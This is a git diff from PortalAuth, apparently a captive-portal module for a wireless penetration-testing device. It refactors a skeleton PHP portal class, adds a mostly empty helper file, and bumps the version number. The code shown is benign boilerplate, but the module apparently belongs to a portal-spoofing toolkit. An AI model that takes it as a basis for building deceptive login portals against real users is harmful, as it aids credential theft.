8847a5c..ad92918 100755 --- a/PortalAuth/includes/scripts/skeleton/MyPortal.php +++ b/PortalAuth/includes/scripts/skeleton/MyPortal.php @@ -2,25 +2,33 @@ class MyPortal extends Portal { + + public function handleAuthorization() + { + // handle form input or other extra things there - public function handleAuthorization() - { - // Call parent to handle basic authorization first - parent::handleAuthorization(); + // Call parent to handle basic authorization first + parent::handleAuthorization(); - // Check for other form data here - } + } - public function showSuccess() - { - // Calls default success message - //parent::showSuccess(); - parent::redirect(); - } + /** + * Override this to do something when the client is successfully authorized. + * By default it just notifies the Web UI. + */ + public function onSuccess() + { + // Calls default success message + parent::onSuccess(); + } - public function showError() - { - // Calls default error message - parent::showError(); - } + /** + * If an error occurs then do something here. + * Override to provide your own functionality. + */ + public function showError() + { + // Calls default error message + parent::showError(); + } } diff --git a/PortalAuth/includes/scripts/skeleton/helper.php b/PortalAuth/includes/scripts/skeleton/helper.php new file mode 100644 index 0000000..046684c --- /dev/null +++ b/PortalAuth/includes/scripts/skeleton/helper.php @@ -0,0 +1,45 @@ +Strip Forms +
+ +
diff --git a/PortalAuth/module.info b/PortalAuth/module.info index 01128f1..c342f4c 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Portal Auth", - "version": "1.6" + "version": "1.7" } \ No newline at end of file